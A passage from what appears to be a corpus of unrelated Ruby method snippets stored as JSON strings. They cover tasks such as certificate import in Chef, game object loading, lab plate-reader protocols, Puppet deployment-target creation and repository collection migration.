# Typecast attributes, DM expects them properly cast\n resource.model.properties.each do |prop|\n value = rsrc_hash[prop.field.to_s]\n rsrc_hash[prop.field.to_s] = prop.typecast(value) unless value.nil?\n # Shift date/time objects to the correct timezone because persevere is UTC\n case prop \n when DateTime then rsrc_hash[prop.field.to_s] = value.new_offset(Rational(Time.now.getlocal.gmt_offset/3600, 24))\n when Time then rsrc_hash[prop.field.to_s] = value.getlocal\n end\n end\n \n serial.set!(resource, rsrc_hash[\"id\"]) unless serial.nil?\n\n created += 1\n else\n return false\n end\n end\n\n # Return the number of resources created in persevere.\n return created\n end", "def import_certificates(cert_objs, is_pfx, store_name: new_resource.store_name, store_location: native_cert_location)\n [cert_objs].flatten.each do |cert_obj|\n thumbprint = OpenSSL::Digest.new(\"SHA1\", cert_obj.to_der).to_s\n if verify_cert(thumbprint) == true\n Chef::Log.debug(\"Certificate is already present\")\n elsif verify_cert(thumbprint) == false # Not found already in the CertStore\n if is_pfx\n if is_file?(new_resource.source)\n converge_by(\"Creating a PFX #{new_resource.source} for Store #{new_resource.store_name}\") do\n add_pfx_cert(new_resource.source)\n end\n elsif is_url?(new_resource.source)\n converge_by(\"Creating a PFX #{@local_pfx_path} for Store #{new_resource.store_name}\") do\n add_pfx_cert(@local_pfx_path)\n end\n else\n message = \"You passed an invalid file or url to import. Please check the spelling and try again.\"\n message << exception.message\n raise Chef::Exceptions::ArgumentError, message\n end\n else\n converge_by(\"Creating a certificate #{new_resource.source} for Store #{new_resource.store_name}\") do\n add_cert(cert_obj)\n end\n end\n else\n message = \"Certificate could not be imported\"\n raise Chef::Exceptions::CertificateNotImportable, message\n end\n end\n end", "def initialize (params = {})\n\t\t\t@verbose=params.fetch(:verbose, false)\n @data_dir=params.fetch(:data_dir, File.dirname(__FILE__)+'/../../../data/')\n\t\t\t# Set default instance variables\n\t\t\t@hosts_file=params.fetch(:hosts_file, @data_dir + 'prime_hosts')\n\t\t\t# Initialize the instance variables\n File.write(@hosts_file, \"\") unless File.exist?(@hosts_file)\n\t\t\t@known_hosts=load_known_hosts_from_file(@hosts_file)\n\t\t\t@known_ips=Hash.new\n\t\t\tde_duplicate\n\t\tend", "def init\n\n unless Dir.exists?(\"#{@home}/.polaris\")\n Dir.mkdir(\"#{@home}/.polaris\")\n end\n\n puts \"Download data...\"\n ja_text = open('http://www.lr.pi.titech.ac.jp/%7Etakamura/pubs/pn_ja.dic').read.encode('utf-8','sjis')\n en_text = open('http://www.lr.pi.titech.ac.jp/%7Etakamura/pubs/pn_en.dic').read.encode('utf-8','sjis')\n puts \"Done\"\n\n if File.exists?(\"#{@home}/.polaris/features.sqlite3\")\n FileUtils.rm(\"#{@home}/.polaris/features.sqlite3\")\n end\n\n db = SQLite3::Database.new(\"#{@home}/.polaris/features.sqlite3\")\n db.execute(\"CREATE TABLE models (word TEXT ,value REAL);\")\n\n puts \"Seed Japanese data...\"\n ja_text.split(\"\\n\").each do |line|\n item = line.split(':')\n word = item[0]\n value = item[3]\n insert_value(db,word,value)\n end\n puts \"Done\"\n\n puts \"Seed English data...\"\n en_text.split(\"\\n\").each do |line|\n item = line.split(':')\n word = item[0]\n value = item[2]\n insert_value(db,word,value)\n end\n puts \"Done\"\n\n end", "def pbCreatePokemon\n party = []\n species = [:PIKACHU,:PIDGEOTTO,:KADABRA,:GYARADOS,:DIGLETT,:CHANSEY]\n for id in species\n party.push(getConst(PBSpecies,id)) if hasConst?(PBSpecies,id)\n end\n # Species IDs of the Jermon to be created\n for i in 0...party.length\n species = party[i]\n # Generate Jermon with species and level 20\n $Trainer.party[i] = PokeBattle_Pokemon.new(species,20,$Trainer)\n $Trainer.seen[species] = true # Set this species to seen and owned\n $Trainer.owned[species] = true\n pbSeenForm($Trainer.party[i])\n end\n $Trainer.party[1].pbLearnMove(:FLY)\n $Trainer.party[2].pbLearnMove(:FLASH)\n $Trainer.party[2].pbLearnMove(:TELEPORT)\n $Trainer.party[3].pbLearnMove(:SURF)\n $Trainer.party[3].pbLearnMove(:DIVE)\n $Trainer.party[3].pbLearnMove(:WATERFALL)\n $Trainer.party[4].pbLearnMove(:DIG)\n $Trainer.party[4].pbLearnMove(:CUT)\n $Trainer.party[4].pbLearnMove(:HEADBUTT)\n $Trainer.party[4].pbLearnMove(:ROCKSMASH)\n $Trainer.party[5].pbLearnMove(:SOFTBOILED)\n $Trainer.party[5].pbLearnMove(:STRENGTH)\n $Trainer.party[5].pbLearnMove(:SWEETSCENT)\n for i in 0...party.length\n $Trainer.party[i].pbRecordFirstMoves\n end\nend", "def create_fedora_objects(attributes)\n fc = factory_class(model)\n f = fc.new(attributes, files_directory)\n f.run\n end", "def create_components\n model = Sketchup.active_model\n definitions = model.definitions\n\n coworker_safe = definitions.load File.join(@libPath, \"CWorker-Safe.skp\")\n UI.messagebox coworker_safe.name\n end", "def load_object(game_object_id, game_objects)\n object = nil\n file = nil\n\n open_store \"goids\" do |gd|\n file = gd[game_object_id]\n end\n\n if file.nil?\n log \"No file found for that goid (#{game_object_id})\"\n raise MUDError::NoSuchGOID\n end\n\n open_store file do |gd|\n object = Marshal.load(gd[game_object_id])\n end\n\n if object.nil?\n log \"Tried to load object (#{game_object_id}), but got nil\"\n raise MUDError::ObjectLoadError\n end\n\n if object.respond_to? :inventory\n log \"Loading inventory for #{object}\", Logger::Ultimate\n load_too = object.inventory.map{ |e| e[0]}\n object.inventory = Inventory.new(object.inventory.capacity)\n load_too.each do |goid|\n if game_objects.find_by_id(goid)\n obj = game_objects.find_by_id(goid)\n else\n obj = load_object(goid, game_objects)\n end\n\n #Don't want to load players until they are playing.\n #We can add the player to a room once they login, not before.\n object.inventory << obj unless obj.is_a? Player\n obj.container = object.goid\n end\n end\n\n if object.respond_to? :equipment\n log \"Loading equipment for #{object}\", Logger::Ultimate\n load_too = object.equipment.inventory.map{ |e| e[0]}\n object.equipment.inventory = Inventory.new\n load_too.each do |goid|\n if game_objects.find_by_id(goid)\n obj = game_objects.find_by_id(goid)\n else\n obj = load_object(goid, game_objects)\n end\n\n #Don't want to load players until they are playing.\n #We can add the player to a room once they login, not before.\n unless obj.is_a? Player or obj.nil?\n object.equipment.inventory << obj\n obj.info.equipment_of = object.goid\n end\n\n #Remove object if it does not seem to exist any longer\n if obj.nil?\n object.equipment.delete(goid)\n end\n end\n\n object.load_defaults\n end\n\n\n object.rehydrate(nil)\n game_objects << object\n\n unless object.container.nil? or game_objects.loaded? object.container\n begin\n load_object(object.container, game_objects)\n rescue MUDError::NoSuchGOID, MUDError::ObjectLoadError\n object.container = ServerConfig.start_room\n end\n end\n\n return object\n end", "def create_from_file\n end", "def initialize\n # XXX: relative file loading\n @log = Logger.new('log/log.txt')\n @PORTLETS ||= YAML.load_file('config/portlets.yml')\n @slots = [] \n \n @log.debug \"initializing Marionet...\"\n if not @PORTLETS.nil? then\n #LOAD ALL CONFIGURED PORTLETS\n @PORTLETS.each do |p|\n url = @PORTLETS[p[0]]['url']\n name = @PORTLETS[p[0]]['name']\n if slot = Slot.new(url,name) then\n @slots.push(slot)\n @log.debug \"New Slot added.\"\n else\n puts \"ERROR CREATING SLOT #{url}\"\n @log.debug \"Errore creating slot.\"\n end\n end\n else\n @log.debug \"No Potlets configured.\"\n end\n end", "def main\n \n operations.make\n \n intro()\n \n operations.each { |op|\n # gather materials\n gather_materials(op)\n \n # Prepare 96 flat first dilution\n prep_first_dilution_plate(op)\n \n # Prepare 96 flat output \n plate_reader_induction(op)\n \n # First dilution\n dilution_transfer(input_plate=op.input(INPUT).collection.id, diluted_plate='First Dilution', transfer_vol=FIRST_DILU_CULT_VOL)\n \n # Place input plate back into incubator\n release [op.input(INPUT).item], interactive: true\n \n # Second dilution\n dilution_transfer(input_plate='First Dilution', diluted_plate=op.output(OUTPUT).collection.id, transfer_vol=SEC_DILU_CULT_VOL)\n \n # Adding blanks before we transfer plate to plate reader\n type_of_media = 'M9'\n tot_vol = SEC_DILU_MED_VOL + SEC_DILU_CULT_VOL\n out_collection = op.output(OUTPUT).collection\n add_blanks(collection=out_collection, type_of_media=type_of_media, tot_vol=tot_vol, blank_wells=nil)\n \n # Setup plate reader for time series experiment; time based on growth temperature\n timeseries_filename = set_up_plate_reader(out_collection, PLATE_READER_TEMPLATE[op.input(GROWTH_TEMP).val.to_i])\n \n # Associate timeseries filename to save and upload when time course is finished\n Item.find(out_collection.id).associate('timeseries_filename', timeseries_filename)\n \n out_collection.location = \"BioTek Plate Reader\"\n out_collection.save\n release [Item.find(out_collection.id)], interactive: false\n }\n \n # operations.store # Already released items in protocol\n \n return {}\n \n end", "def cartridgeLoad(cartridge_type)\n \n case cartridge_type\n when 'RNA'\n cartridge = find(:item, object_type: { name: \"QX RNA Screening Cartridge Container\" }).first#.first {|c| c.location == 'Fragment analyzer'} # .find { |c| c.location == \"Fragment analyzer\" }\n when 'DNA'\n cartridge = find(:item, object_type: { name: \"QX DNA Screening Cartridge\" }).first#.find { |c| c.location == \"Fragment analyzer\" }\n end\n \n if(cartridge) # already in\n take [cartridge]\n else # prep new cartridge\n # prep cartridge\n show do\n title \"Prepare to insert QX #{cartridge_type} Screening Cartridge into the machine\"\n warning \"Please keep the cartridge vertical at all times!\".upcase\n check \"Take the cartridge labeled #{cartridge} from #{cartridge.location} and bring to fragment analyzer.\"\n check \"Remove the cartridge from its packaging and CAREFULLY wipe off any soft tissue debris from the capillary tips using a soft tissue.\"\n check \"Remove the purge cap seal from the back of the cartridge.\"\n #image \"frag_an_cartridge_seal_off\"\n warning \"Do not set down the cartridge when you proceed to the next step.\"\n end\n # place in machine\n show do\n title \"Insert QX #{cartridge_type} Screening Cartridge into the machine\"\n check \"Use a soft tissue to wipe off any gel that may have leaked from the purge port.\"\n check \"Open the cartridge compartment by gently pressing on the door.\"\n check \"Carefully place the cartridge into the fragment analyzer; cartridge description label should face the front and the purge port should face the back of the fragment analyzer.\"\n check \"Insert the smart key into the smart key socket; key can be inserted in either direction.\"\n #image \"frag_an_cartridge_and_key\"\n check \"Close the cartridge compartment door.\"\n check \"Open the ScreenGel software and latch the cartridge by clicking on the <b>Latch</b> icon.\"\n check \"Grab the purge port seal bag from the bottom drawer beneath the machine, put the seal back on its backing, and return it in the bag to the drawer.\"\n end\n # enter runs if not already associated\n unless(cartridge.get(:runs))\n runs = show do \n title \"Enter number of runs\"\n get \"number\", var: \"runs\", label: \"Please enter the number of <b>Remaining Runs</b> left in this cartridge.\", default: 0\n end\n cartridge.associate :runs, runs[:runs]\n end\n \n # wait for equilibration \n if cartridge_type == 'DNA' # wait for equilibration \n show do\n title \"Wait for the cartridge to equilibrate\"\n check \"Start a <b>30 min</b> timer, and do not run the fragment analyzer until it finishes.\"\n end\n end\n \n # set location\n take [cartridge]\n cartridge.location = \"Fragment analyzer\"\n cartridge.save\n \n end # if(cartridge)\n \n # return\n cartridge\n end", "def create\n name = @resource[:name]\n client = Savon.client(wsdl: @resource[:connection]['url'] + WSDL_PATH)\n\n environment = @resource[:environment]\n custom_props = @resource[:properties]\n dynamic_props = @resource[:dynamic_properties]\n\n raise Puppet::Error, \"Target name, folder, owner and type must not be empty!\" if empty_str?(name) or empty_str?(@resource[:folder]) or empty_str?(@resource[:owner]) or empty_str?(@resource[:type])\n\n self.info(\"Importing deployment target..\")\n \n doc = REXML::Document.new '<?xml version=\"1.0\" encoding=\"UTF-8\"?>'\n root = doc.add_element 'Sync', { \"xmlns:xsi\" => \"http://www.w3.org/2001/XMLSchema-instance\" }\n entity = root.add_element \"Entity\", { \"mainType\" => \"DeploymentTarget\", \"customType\" => @resource[:type] }\n \n prop_hash = { \"system_name\" => name, \"system_owner.system_name\" => @resource[:owner], \"system_folder.system_name\" => @resource[:folder], \"system_deployment_agent_name\" => @resource[:agent],\n \"system_description\" => \"created via Automic Puppet resource type\", \"system_is_active\" => \"true\" }\n\n prop_hash.keys.each do |prk|\n prop_ele = entity.add_element \"Property\", { \"name\" => prk }\n if prk == 'system_name'\n prop_ele.add_attribute \"isIdentity\", \"true\"\n end\n value_ele = prop_ele.add_element \"Value\"\n value_ele.add_text prop_hash[prk]\n end\n\n if not custom_props.nil? and not custom_props.empty?\n # add custom properties\n custom_props.keys.each do |prk|\n prop_ele = entity.add_element \"Property\", { \"name\" => prk }\n value_ele = prop_ele.add_element \"Value\"\n value_ele.add_text custom_props[prk]\n end\n end\n \n message = { \"username\" => @resource[:connection]['username'], \"password\" => @resource[:connection]['password'], \"mainType\" => \"DeploymentTarget\", \"failOnError\" => true, \"fomat\" => \"XML\", \"data\" => doc.to_s }\n \n response = client.call(:import, message: message)\n\n # check error and status\n status = response.body[:import_response][:import_result][:status].to_i \n token = response.body[:import_response][:import_result][:token]\n\n self.debug(\"Got token: #{token}\")\n \n # wait for target id return in status\n while status == 0\n sleep 1\n response = client.call(:get_status, message: { \"token\" => token } )\n status = response.body[:get_status_response][:get_status_result][:status].to_i \n end\n\n if status < 0\n self.info(\"Unsuccessfully create or update deployment target\")\n error = response.body[:get_status_response][:get_status_result][:error] \n if not error.nil? and not error.empty?\n self.info(\"Error detail: \" + error.to_s)\n end\n return status\n end\n\n self.info(\"Deployment target import successfully\")\n \n # add environment\n if not environment.nil? and not environment.empty?\n begin\n env_id = get_environment_id(client, environment)\n if (env_id > 0)\n add_environment_relation(client, env_id, name)\n end\n rescue Exception => e\n self.info(\"Error occurred while updating environment for deployment target\") \n self.debug(e.message)\n self.debug(e.backtrace.inspect)\n end\n end \n\n # update dynamic properties\n if not dynamic_props.nil? and not dynamic_props.empty?\n begin\n update_dynamic_properties(client, status, dynamic_props)\n rescue Exception => e\n self.info(\"Error occurred while updating dynamic properties for deployment target\") \n self.debug(e.message)\n self.debug(e.backtrace.inspect)\n end\n end\n\n return status\n end", "def load_deck_infos\r\n # p @deck_infos\r\n dirname = File.join(@resource_path, 'carte')\r\n Dir.foreach(dirname) do |filename|\r\n path_cand = File.join(dirname , filename)\r\n if File.directory?(path_cand)\r\n #exams directories\r\n if (filename != \".\" && filename != \"..\")\r\n # potential deck folder\r\n deck_info_yaml = File.join(path_cand, 'mazzo_info')\r\n if File.exist?(deck_info_yaml)\r\n opt = YAML::load_file( deck_info_yaml )\r\n if opt and opt.class == Hash\r\n key = opt[:key].to_sym # key is a symbol, path is a string\r\n @deck_infos[key] = {:name => opt[:name], :path => opt[:key], :color_trasp => opt[:color_trasp]}\r\n end\r\n end\r\n end\r\n end\r\n end\r\n #p @deck_infos\r\n end", "def new_person(apt_name = 0)\n\n #gathers input from user\n\n puts \"Name : \"\n name = gets.chomp\n puts \"Age : \"\n age = gets.chomp\n puts \"Gender : (m or f)\"\n gender = gets.chomp\n\n #if a user enters the person creation menu from the apartment creation menu, the apartment name will have already been specified\n\n if apt_name == 0\n puts \"Apartment : \"\n apt_name = gets.chomp\n end\n\n #if apt exists, adds new instance of person to that apartment\n\n if $b.apts.keys.include?(apt_name.to_sym)\n $b.apts[apt_name.to_sym].renters << Person.new(name, age, gender, apt_name)\n\n #if apt doesn't exist, prompts user to create a new apartment then adds that person to apartment\n\n else\n puts \"Looks like that apartment isn't in the system. Create it now: \"\n puts \" \"\n new_apt(apt_name)\n $b.apts[apt_name.to_sym].renters << Person.new(name, age, gender, apt_name)\n end\n\n #updates the apartment name of the person\n\n $b.apts[apt_name.to_sym].renters.last.apartment = apt_name\n\n #prints string with person's info\n\n puts \"Great! A person has been added to the system with the following information : \"\n $b.apts[apt_name.to_sym].renters.last.to_s\n puts \" \"\nend", "def create_models(bldg_types, vintages, climate_zones, epw_files = [])\n #### Create the prototype building\n failures = []\n\n # Loop through all of the given combinations\n bldg_types.sort.each do |building_type|\n vintages.sort.each do |template|\n climate_zones.sort.each do |climate_zone|\n model_name = \"#{building_type}-#{template}-#{climate_zone}\"\n puts \"****Testing #{model_name}****\"\n\n # Create an instance of the measure\n measure = CreateDOEPrototypeBuilding.new\n\n # Create an instance of a runner\n runner = OpenStudio::Measure::OSRunner.new(OpenStudio::WorkflowJSON.new)\n\n # Make an empty model\n model = OpenStudio::Model::Model.new\n\n # Set argument values\n arguments = measure.arguments(model)\n argument_map = OpenStudio::Measure::OSArgumentMap.new\n building_type_arg = arguments[0].clone\n assert(building_type_arg.setValue(building_type))\n argument_map['building_type'] = building_type_arg\n\n template_arg = arguments[1].clone\n assert(template_arg.setValue(template))\n argument_map['template'] = template_arg\n\n climate_zone_arg = arguments[2].clone\n assert(climate_zone_arg.setValue(climate_zone))\n argument_map['climate_zone'] = climate_zone_arg\n\n epw_arg = arguments[3].clone\n assert(epw_arg.setValue('Not Applicable'))\n argument_map['epw_file'] = epw_arg\n\n measure.run(model, runner, argument_map)\n result = runner.result\n show_output(result)\n if result.value.valueName != 'Success'\n failures << \"Error - #{model_name} - Model was not created successfully.\"\n end\n\n model_directory = \"#{@test_dir}/#{building_type}-#{template}-#{climate_zone}\"\n\n # Convert the model to energyplus idf\n forward_translator = OpenStudio::EnergyPlus::ForwardTranslator.new\n idf = forward_translator.translateModel(model)\n idf_path_string = \"#{model_directory}/#{model_name}.idf\"\n idf_path = OpenStudio::Path.new(idf_path_string)\n idf.save(idf_path, true)\n end\n end\n end\n\n #### Return the list of failures\n return failures\n end", "def startDSExport \n begin\n $MatLib = SU2DS::MaterialLibrary.new() # reads Sketchup material library and creates hashes mapping each material name to its path and radiance description (if available)\n rs = SU2DS::RadianceScene.new()\n rs.export(SU2DS::RadianceScene::EMODE_HEADER) ## modified for su2ds\n rescue => e \n msg = \"%s\\n\\n%s\" % [$!.message,e.backtrace.join(\"\\n\")]\n UI.messagebox msg \n end \nend", "def convert_omni_to_json(path)\n # Omnigraffle files are either directories containing a data.plist + linked image assets, or they are simply\n # a data.plist. I'm not sure why Omnigraffle decides to use either -- image assets are sometimes base64\n # encoded inside the data.plist file, rather than being placed in a separate directory.\n data_plist = path\n if File.directory?(path)\n data_plist = File.join(path, \"data.plist\")\n raise \"data.plist not found: #{data_plist}\" unless File.exists?(data_plist)\n end\n temp = Tempfile.new(\"omni\")\n temp2 = Tempfile.new(\"json_plist\")\n begin\n # Omnigraffle gzips its plist file.\n `gzcat #{Shellwords.escape(data_plist)} > #{Shellwords.escape(temp.path)}`\n # `plutil` comes with Apple's developer tools. http://stackoverflow.com/q/6066350\n # Note that if Omnigraffle's plist contains a <data></data> block, plutil will fail with this error:\n # invalid object in plist for destination format\n # The workaround is to replace <data> blocks with <string>. AFAICT <data> blocks are used to embed some\n # image data, and removing these blocks won't affect our goal of computing the coordinates of shapes.\n sanitized_plist = File.read(temp.path).gsub(/<data>.*?<\\/data>/m, \"<string></string>\")\n File.write(temp.path, sanitized_plist)\n command = \"plutil -convert json #{Shellwords.escape(temp.path)} -o #{Shellwords.escape(temp2.path)}\"\n puts `#{command}`\n return JSON.parse(File.read(temp2.path))\n ensure\n temp.unlink\n temp2.unlink\n end\nend", "def run\n super\n\n x = Ear::Client::Corpwatch::CorpwatchService.new\n corps = x.search @object.name\n\n # Attach to the first object\n @object.physical_locations << create_object(PhysicalLocation, {\n :address => corps.first.address, \n :state => corps.first.state, \n :country => corps.first.country })\n\n # Save off our raw data\n #@task_run.save_raw_result corps.join(\" \")\n\nend", "def phoneloader\n raise IOError, \"config file could not be read\" unless template = IO.read( @datafolder + \"gammu-smsdrc\")\n @ports.each do |port|\n IO.write((@datafolder + port), template.gsub(\"%port\",port))\n imei = `gammu -c #{@datafolder + port} --identify | grep IMEI`.split(/\\s/).last\n if @phones.keys.include?(imei)\n IO.write((@datafolder + @phones[imei]), IO.read(@datafolder + port).gsub(\"%phone\",@phones[imei]))\n end \n system \"rm #{@datafolder + port}\"\n end\n end", "def import_resources\n # for each resource type, look for a file of measurement data\n Report.plugin_matrix.each do |resource_name, measurements|\n model = Object.const_get((resource_name + 'Resource').camelcase(:upper))\n model.unrestrict_primary_key\n iterate_lines(@directory + resource_name + '.json') do |idx, line|\n print \"\\rImporting #{resource_name}: #{idx}...\"\n\n resource = JSON.parse(line)\n resource.each do |key, value|\n value = update_date(value, @date_offset)\n resource[key] = value unless value.nil?\n end\n model.create(resource)\n end\n model.restrict_primary_key\n print \"Done\\n\"\n import_measurements(measurements)\n end\n end", "def make_undergraduate_paper_collection_structure(mapping_path, foxpath, user)\r\nputs \"running make_collection_structure\"\r\nmapping_file = mapping_path +\"ug_col_mapping.txt\"\r\n# make the top Theses level first, with a CurationConcerns (not dlibhydra) model.\r\n#array of lines including title\r\ntopmapping = []\r\n# we also need a pid:id hash so we can extract id via a pid key\r\nidmap ={}\r\ntoppid = \"york:808102\" #top level collection\r\ntopcol = Object::Collection.new\r\ntopcol.title = [\"Undergraduate essays and projects\"]\r\ntopcol.former_id = [toppid]\r\ntopcol = populate_collection(toppid, topcol, foxpath) \r\n#the top collection is visible to the general public but not the underlying records or collections\r\ntopcol.permissions = [Hydra::AccessControls::Permission.new({:name=> \"public\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\ntopcol.depositor = user\r\ntopcol.save!\r\ntopcol_id = topcol.id.to_s\r\nputs \"topcol.id was \" +topcol.id\r\nmappings_string = toppid + \",\" + + topcol.title[0].to_s + \",\" + topcol_id \r\n\ttopmapping.push(mappings_string) \r\n# write to file as permanent mapping that we can use when mapping theses against collections \r\n# open(\"/vagrant/files_to_test/col_mapping.txt\", \"a+\")do |mapfile|\r\nopen(mapping_file, \"a+\")do |mapfile|\r\nmapfile.puts(topmapping)\r\nend\r\n\r\n=begin\r\nnow we need to read from the list which I will create, splitting into appropriate parts and for each create an id and add it to the top level collection\r\n=end\r\n# hardcode second level file, but could pass in as param\r\n# csv_text = File.read(\"/vagrant/files_to_test/thesescollectionsLevel2SMALL.txt\")\r\nlevel2file = mapping_path + \"UGpaperCollsLevel2.txt\"\r\ncsv_text = File.read(level2file)\r\n# csv_text = File.read(\"/vagrant/files_to_test/thesescollectionsLevel2.txt\")\r\ncsv = CSV.parse(csv_text)\r\n# we also need a file we can write to, as a permanent mapping\r\nmappings_level2 = []\r\n\r\nputs \"starting second level(subjects)\"\r\ncsv.each do |line|\r\n puts line[0]\r\n\tcol = Object::Collection.new\r\n\t# col = Dlibhydra::Collection.new\r\n\t#col.title = [line[1]]\r\n\ttitle = line[1]\r\n\ttitle.gsub!(\"&amp;\",\"&\")\r\n\tcol.title = [title]\r\n\tcol.former_id = [line[0].strip]\r\n\tcol = populate_collection(line[0].strip, col, foxpath)\r\n\tcol.permissions = [Hydra::AccessControls::Permission.new({:name=> \"york\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\n\tcol.depositor = user\r\n\tcol.save!\r\n\tcol_id = col.id.to_s\r\n\tputs \"subject col id was\" + col_id\r\n\ttopcol.members << col\r\n\ttopcol.save!\r\n\tmappings_string = line[0] + \",\" + + line[1] + \",\" + col_id \r\n\tmappings_level2.push(mappings_string)\r\n\t# add to hash, old pid as key, new id as value\r\n\tkey = line[0]\t\r\n\tidmap[key] = col.id\r\nend\r\n\r\n# write to file as permanent mapping that we can use when mapping theses against collections\r\nopen(mapping_file, \"a+\")do |mapfile| \r\n# open(\"/vagrant/files_to_test/col_mapping.txt\", \"a+\")do |mapfile|\r\n\tmapfile.puts(mappings_level2)\r\nend\r\n\r\n# but we still have our mappings array, so now use this to make third level collections\r\n\r\nsleep 5 # wait 5 seconds before moving on to allow 2nd level collections some time to index before the level3s start trying to find them\r\n\r\n# read in third level file\r\nmappings_level3 = []\r\n# csv_text3 = File.read(\"/vagrant/files_to_test/thesescollectionsLevel3SMALL.txt\")\r\nlevel3collsfile = mapping_path + \"UGpaperCollsLevel3.txt\"\r\ncsv_text3 = File.read(level3collsfile)\r\n# csv_text3 = File.read(\"/vagrant/files_to_test/thesescollectionsLevel3.txt\")\r\ncsv_level3 = CSV.parse(csv_text3)\r\n\r\nyearpidcount = 1\r\nputs \"starting third level (years)\"\r\ncsv_level3.each do |line|\r\nyearpidcount = yearpidcount +1\r\n puts \"starting number \" +yearpidcount.to_s+ \" in list\"\r\n puts line[0]\r\n\tyear_col = Object::Collection.new\r\n\tputs \"started new year collection\"\r\n\t# col = Dlibhydra::Collection.new extend cc collection instead\r\n\tyear_col_title = line[1].to_s \r\n\tyear_col_title.gsub!(\"&amp;\", \"&\")\r\n\tputs \"got level 3 title which was \" + year_col_title\r\n\tyear_col.title = [year_col_title] #just in case\r\n\tyear_col.former_id = [line[0].strip]\r\n\tyear_col = populate_collection(line[0].strip, year_col, foxpath)\r\n\tyear_col.permissions = [Hydra::AccessControls::Permission.new({:name=> \"york\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\n\tyear_col.depositor = user\r\n\tputs \"saved permissions and depositor for year collection\"\r\n\tyear_col.save!\r\n\tputs \"saved collection\"\r\n\tyear_col_id = year_col.id.to_s\r\n\tputs \"year col id was \" + year_col_id\r\n\t# need to find the right parent collection here\t\r\n\tparent_pid = line[2]# old parent pid, key to find new parent id\r\n\tputs \" subject col pid was \" + parent_pid\r\n\tmapped_parent_id = idmap[parent_pid]\t\r\n\tputs \"mapped parent id was \" + mapped_parent_id\r\n\tparent = Object::Collection.find(mapped_parent_id)\r\n\tparent.members << year_col\r\n\tputs \"parent id was\" + parent.id.to_s\r\n\tputs \"year collection id was\" + year_col.id.to_s\r\n\tparent.save!\r\n\tputs \"parent.members were\" + parent.members.to_s\r\n\tmappings_string = line[0] + \",\" + + line[1] + \",\" + year_col_id \r\n\tmappings_level3.push(mappings_string)\r\nend\r\n\r\n# and write to permanent mapping file - these can be all the same whether level 2 or 3 or 1\r\nopen(mapping_file, \"a+\")do |mapfile|\r\n\tmapfile.puts(mappings_level3)\r\nend\r\n\r\nputs \"done\"\r\n=begin\r\ninformation we need for each collection is the old pid as a key, plus its parent pid, plus the collection name and the new id once it is created\r\ntop level will be the top level theses ie current Masters Dissertations (york:18179). \r\nsecond level is discipline eg Archaeology, Education etc\r\nOPTIONAL third level is year eg 1973. Not all disciplines have this level\r\n=end\r\nend", "def load_1\n puts \"created Revs\"\n p = Site.new\n p.name = \"Revs\"\n p.author = \"Jebbit\"\n p.created_at = Date.new 2014, 05, 27 \n p.img_url = \"http://image_somewhere.com/img.jpg\"\n p.landing_url = \"http://jebbit.com\"\n p.save!\nend", "def create_objects\n cloud Mash.new\n cloud[:public_ips] = Array.new\n cloud[:private_ips] = Array.new\n end", "def add(host, ip, plataform)\n #verify if we have the plataform name initialized\n if(! (@plataforms.keys.include? plataform))\n @plataforms[plataform] = Plataform.new(plataform, projectName);\n end\n if( @plataforms[plataform].add(Host.new(ip, host, @plataforms[plataform])))\n puts \"Added succefully.\"\n end\n\n if(@verbosity)\n puts \"Generating Files ...\"\n end\n\n generateFiles! @plataforms[plataform]\n\n end", "def setup_catalog\n [\n {product_name: 'bamba', photo_url: 'dummy_url1', barcode: 'xxx1', sku: 111, price: 2.23, producer: 'Nestle'},\n {product_name: 'apple', photo_url: 'dummy_url2', barcode: 'xxx2', sku: 555, price: 4.66, producer: 'WFM'},\n {product_name: 'tapu chepse', photo_url: 'dummy_url3', barcode: 'xxx3', sku: 1111444, price: 7.33, producer: 'Nestle'}\n ].each do |data|\n Catalog.create(data)\n end\n end", "def create\n run_validation(:create)\n @model_id = interface.create(map_to_interface) unless @model_status == :error\n\n @model_status = :okay if @model_status == :unknown\n self\n rescue Pod4::WeakError\n add_alert(:error, $!)\n self\n end", "def analyze_ProductList\n # File Read\n printf \"@I:Read #{@ProductList}\\n\"\n open(\"#{@ProductList}\",\"r\").each do |line|\n analyze_each_line(line)\n end\n\n # Generate Each Run-Shell\n printf \"@I:Generate Each Run-Shell\\n\"\n @ListData.each do |product|\n product.print\n\n @PRJ = product.ProjectFile\n @Library = product.LibraryFile\n @ProductName = product.ProductName\n @DevVer = product.DevVer\n \n # For Device\n @TopModule = product.DEVICE_TOP\n @Mode = \"Device\" \n generate_RunScript\n\n # For ICE\n @ICEVer = product.ICEVer\n @TopModule = product.ICE_TOP\n @Mode = \"ICE\" \n generate_RunScript \n end\n \n end", "def create_machines\n i = 1\n self.machines = []\n status = MachineStatus.find_by_name(\"bookable\")\n\n while i <= @count.to_i\n name = sprintf \"%s%0.2d\", self.name.downcase, i\n self.machines << Machine.new({ :name => name,\n :description => @machine_description,\n :machine_status => status\n })\n i += 1\n end \n end", "def initialize(opts = {})\n opts = opts.inject({}){ |r, (k,v)| r[k.to_sym] = v; r }\n \n self.language = []\n self.os = []\n \n \n self.local_path = opts.fetch(:local_path, nil)\n self.copyright = opts.fetch(:copyright, nil)\n self.description = opts.fetch(:description, nil)\n self.identity = opts.fetch(:identity, nil)\n case opts.fetch(:language, nil)\n when Array\n self.language = opts.fetch(:language, nil)\n when String\n self.language = [opts.fetch(:language, nil)]\n end\n \n self.logo = opts.fetch(:logo, nil)\n case opts.fetch(:os, nil)\n when Array\n self.os = opts.fetch(:os, nil)\n when String\n self.os = [opts.fetch(:os, nil)]\n end\n\n self.urls = []\n opts.fetch(:urls, []).each do |url|\n self.urls << Metalink4FileUrl.new(url)\n end\n \n self.publisher_name = opts.fetch(:publisher_name, nil)\n self.publisher_url = opts.fetch(:publisher_url, nil)\n self.signature = opts.fetch(:signature, nil)\n self.version = opts.fetch(:version, nil)\n \n self.piece_size = opts.fetch(:piece_size, nil) \n self.piece_count = opts.fetch(:piece_count, nil) \n \n self.hashes = []\n end", "def barista_init(options)\n pot = Pot.new(\"cfg/#{options[:target]}.cfg\")\n pot.save\nend", "def main\n args = []\n ARGV.each do |item|\n args.push(item)\n end\n\n puts \"\\n\"\n\n commands = [\"create\", \"lookup\", 